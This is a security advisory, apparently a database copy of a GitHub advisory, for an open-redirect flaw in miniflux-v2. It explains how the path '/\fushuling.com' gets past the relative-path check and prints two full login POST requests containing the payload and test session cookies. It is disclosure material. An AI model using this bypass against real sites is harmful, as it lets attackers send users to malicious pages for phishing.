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GHSA-m999-j542-5w3r

MediumCVSS 5.1 / 10
Published Jun 19, 2026·Last modified Jun 19, 2026
Affected Components(0)

No affected components available

Description

Summary

The URL restrictions in miniflux-v2 can be bypassed by attackers, leading to an open redirect vulnerability.

Details

Normally, the redirect URL needs to be validated using IsRelativePath.

<img width="1728" height="1386" alt="QQ20260526-175356-26-1" src="https://github.com/user-attachments/assets/b481845a-8744-41f7-b27a-526c7ac92e03" />

There are some security measures in place, such as requiring relative paths, prohibiting host and schema entries, and rejecting proof-of-concept (PoC) entries like //fushuling.com. However, these measures can still be bypassed.

<img width="1911" height="804" alt="QQ20260526-175836-26-2" src="https://github.com/user-attachments/assets/90353c7f-7247-4453-a781-159361de13d6" />

For a proof-of-concept (PoC) like /\fushuling.com, it lacks host and netloc fields and doesn't start with //, but during the actual browser redirection, the backslash is automatically parsed as a forward slash, ultimately redirecting to the external address https://fushuling.com, thus bypassing existing protections.

For PoCs like //fushuling.com, the existing logic successfully detects and resolves to /unread, effectively preventing attacks.

POST /login HTTP/1.1
Host: 127.0.0.1:8081
Content-Length: 92
Cache-Control: max-age=0
sec-ch-ua: "Not(A:Brand";v="24", "Chromium";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.57 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: cw_conversation=eyJhbGciOiJIUzI1NiJ9.eyJzb3VyY2VfaWQiOiI1NTlhZGZkNS0wMTMxLTRjOWUtYjJmMi1kZTQ4YzFmMzUwODMiLCJpbmJveF9pZCI6NTI3NTUsImV4cCI6MTc5MTk3MzU4OCwiaWF0IjoxNzc2NDIxNTg4fQ._8EAAv62saWBzO54yUJCbASbjbrNdMsYEC49blqJwQM; casdoor_session_id=cc333aee41d646565c1bde0bba532991; SSID=EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE.KKPgzj5eEsDglYQXFeERpo7F97-phtpOsQL0Sh9e_EA; sid=Q5hex9PpdqFKeVL41zT4W9DqyBnMJhVO; MinifluxSessionID=F5GAIDVFDZVTOTOWBLWKXCRNIE.HUQLKF4BMK42KUAM3N2VK4MA45
Connection: close

csrf=CYJ2SHTG7AYLMFW6TMTLRR4K54&redirect_url=//fushuling.com&username=admin&password=test123
<img width="1773" height="894" alt="QQ20260526-180410-26-3" src="https://github.com/user-attachments/assets/19e532ad-e366-4eb8-a08e-7b1de02edc7b" />

However, when the attacker specified the redirect URL as /\fushuling.com, the URL successfully bypassed the detection and set the location to /\fushuling.com.

POST /login HTTP/1.1
Host: 127.0.0.1:8081
Content-Length: 92
Cache-Control: max-age=0
sec-ch-ua: "Not(A:Brand";v="24", "Chromium";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.57 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: cw_conversation=eyJhbGciOiJIUzI1NiJ9.eyJzb3VyY2VfaWQiOiI1NTlhZGZkNS0wMTMxLTRjOWUtYjJmMi1kZTQ4YzFmMzUwODMiLCJpbmJveF9pZCI6NTI3NTUsImV4cCI6MTc5MTk3MzU4OCwiaWF0IjoxNzc2NDIxNTg4fQ._8EAAv62saWBzO54yUJCbASbjbrNdMsYEC49blqJwQM; casdoor_session_id=cc333aee41d646565c1bde0bba532991; SSID=EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE.KKPgzj5eEsDglYQXFeERpo7F97-phtpOsQL0Sh9e_EA; sid=Q5hex9PpdqFKeVL41zT4W9DqyBnMJhVO; MinifluxSessionID=54R3C5MYFRCW7JVL2WUP5GFW4Z.3FLK5B4S7R3O6ZRACB7A3B2RG5
Connection: close

csrf=QC7PJNLRRDHSF6OZPXFVPKAXEO&redirect_url=/\fushuling.com&username=admin&password=test123
<img width="1629" height="887" alt="QQ20260526-180606-26-4" src="https://github.com/user-attachments/assets/efe78aca-06ef-4369-83b7-0d7119ac2546" />

In the actual browser redirection, the URL successfully redirected to https://fushuling.com, thus bypassing the restrictions and achieving an open redirect attack.

<img width="1082" height="621" alt="QQ20260526-180711-26-5" src="https://github.com/user-attachments/assets/0b486f09-8a9b-4d38-8350-d7ca5c51c253" />

PoC

/\fushuling.com

Impact

Open Redirect

Risk Scores
Base Score
5.1

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights.

Threat Intelligence
1.2

Limited exploitation activity has been observed. Close monitoring and planned remediation are recommended.

EPSS
N/A

Probability that this vulnerability will be exploited in the wild within the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

Related Vulnerabilities
  • CVE-2026-55185
    Alias

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Medium severity
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